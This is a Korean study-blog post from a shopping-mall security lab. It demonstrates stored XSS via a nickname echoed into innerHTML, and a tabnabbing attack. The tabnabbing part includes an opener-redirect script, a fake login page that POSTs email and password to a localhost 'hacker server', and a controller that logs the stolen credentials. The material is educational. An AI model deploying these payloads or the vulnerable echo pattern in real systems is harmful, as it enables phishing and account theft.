Post

[Day30] 쇼핑몰 실습 - XSS, Tabnabbing

[Day30] 쇼핑몰 실습 - XSS, Tabnabbing

XSS (Cross-Site Scripting) 취약점

XSS(크로스 사이트 스크립팅, Cross-Site Scripting)는 웹 보안 취약점 중 하나로, 공격자가 악성 스크립트를 웹사이트에 삽입하여 사용자의 브라우저에서 실행되도록 만드는 공격 기법
“사용자에게 친절해질수록 해커에게도 친절해질 수 있다!”
👉 보안을 위해 퉁명스러운 에러 메시지를 사용하는 것도 중요!

🔴 공격 시나리오

  1. 회원 가입 시 nickname을 충분히 큰 사이즈(VARCHAR(500))로 설정하여 HTML 태그를 포함한 입력이 가능하도록 허용
1
2
3
alter table member
change column nickname 
nickname varchar(500) not null unique;

  • 기존에는 VARCHAR(50)으로 제한되어 있어 입력 길이가 초과되면 “DataIntegrityViolationException” 오류가 발생했음.
  • 그러나 코드 상에서 예외 처리를 단순화하여, 중복된 닉네임 입력 시에도 동일한 예외 메시지가 반환됨.
  • 이를 방지하기 위해 nickname 필드의 크기를 500으로 확장하여 긴 문자열 입력을 허용.
  1. 회원가입 후 nickname을 그대로 반환하여 브라우저에서 렌더링됨.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    
    // MemberController.java
    @PostMapping("insertMember")
    public String insertMember(@RequestBody Member m) {
      System.out.println(m);
      try {
     memberService.insertMember(m);
     return m.getNickname()+"님 가입을 환영합니다";
      } catch (Exception e) {
     // TODO Auto-generated catch block
     e.printStackTrace();
     return "회원 가입 실패";
      }
    }
    
  2. member.js에서 회원가입 성공 메세지를 적당한 위치에 출력한다
    1
    
    document.getElementById("effetMsg").innerHTML = response.data;
    
  3. 회원가입 시에 nickname에 다음과 같은 형태를 입력

  1. 가입이 성공하면, 응답 메시지(‘login’님 가입을 환영합니다)로 해당 HTML이 그대로 반환됨.

  2. 해당 페이지에서 hacker.com 링크가 표시되며, 클릭 시 악성 사이트로 이동.

  3. 사용자가 사이트를 방문하면 악성 스크립트 실행.

XSS 공격 흐름

1️⃣ 해커(Hacker)가 신뢰할 수 있는 웹사이트에 악성 스크립트를 삽입

  • 공격자는 사용자가 입력할 수 있는 필드(닉네임, 댓글, 검색어 입력창)에 악성 JavaScript 코드를 삽입함.
  • 예를 들어, <script>alert('해커 등장');</script> 같은 스크립트가 그대로 저장될 경우, 해당 페이지를 방문하는 모든 사용자에게 실행됨

2️⃣ 피해자(Victim)가 웹사이트에 방문하면서 악성 스크립트가 실행됨

  • 공격자가 삽입한 악성 코드가 포함된 웹페이지를 방문하는 순간, 피해자의 브라우저가 이 스크립트를 실행하게 됨
  • 예를 들어, document.cookie를 통해 사용자의 로그인 세션 정보를 탈취할 수도 있음.

3️⃣ 피해자의 브라우저가 악성 스크립트를 실행하고, 해커에게 중요한 정보를 전송

  • 피해자의 브라우저에서 실행된 스크립트가 세션 토큰, 쿠키, 입력 정보 등을 해커의 서버로 전송
  • 해커는 이를 이용해 피해자로 가장하여 로그인할 수 있으며, 추가적인 공격(계정 탈취)이 가능해짐

Tabnabbing 공격

Tabnabbing은 피싱(Phishing) 공격의 한 유형으로, 사용자가 특정 사이트를 열어둔 상태에서 다른 탭으로 이동한 후 다시 원래 탭으로 돌아왔을 때, 해당 사이트가 해커의 가짜 사이트로 변경되는 공격 기법

공격 시나리오 세팅 : 리뷰 기능 구현

BACK

  • review 테이블 생성 및 샘플 데이터 삽입
  • MyBatis를 이용한 ReviewDao, ReviewService, ReviewController 구현
  • getRecentReviews() 및 insertReview() API 제공

    FRONT

  • index.html: 리뷰 모달 창 (commentModal) 구현
  • index.js: 제품 목록 및 리뷰 불러오기, 리뷰 작성 기능 추가
    • getRecentReviews API 호출하여 최근 리뷰 가져옴
    • insertReview API 호출하여 리뷰 작성

🔴 공격 시나리오

  1. 해커가 다음과 같은 악성 리뷰를 등록
    1
    
    <a href='http://localhost:9999/404.html' target='_blank'>맛있게 먹는 영상</a>
    

  1. 사용자가 해당 리뷰의 링크를 클릭하면 http://localhost:9999/404.html로 이동.

  1. 404.html 파일의 JavaScript 코드가 실행되며, 원래 창의 URL을 fake.html로 변경
    1
    2
    3
    4
    5
    6
    7
    
    <script>
      if(window.opener){		
       opener.location='http://localhost:9999/fake.html';
      }else{		
       window.location='http://localhost:9999/fake.html';
      }
    </script>
    

  1. 사용자가 fake.html에서 로그인 정보를 입력하도록 유도

  2. 가짜 로그인 페이지는 실제 로그인 페이지처럼 보이며, 사용자가 입력한 emailpassword를 해커 서버로 전송

1
2
3
4
5
6
7
8
9
document.getElementById("loginBtn").addEventListener("click", async () => {  
    const email = document.getElementById("email").value;
    const pwd = document.getElementById("pwd").value;
    let response = await fetch("http://localhost:9999/login", {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({ email, pwd }),
    });
});
  1. 해커 서버(MemberController.java)에서 사용자의 로그인 정보를 탈취:
    1
    2
    3
    4
    5
    
    @PostMapping("login")
    public void login(@RequestBody Member m) {
     System.out.println(m);
     System.out.println("탈취 완료");
    }
    


END

This post is licensed under CC BY 4.0 by the author.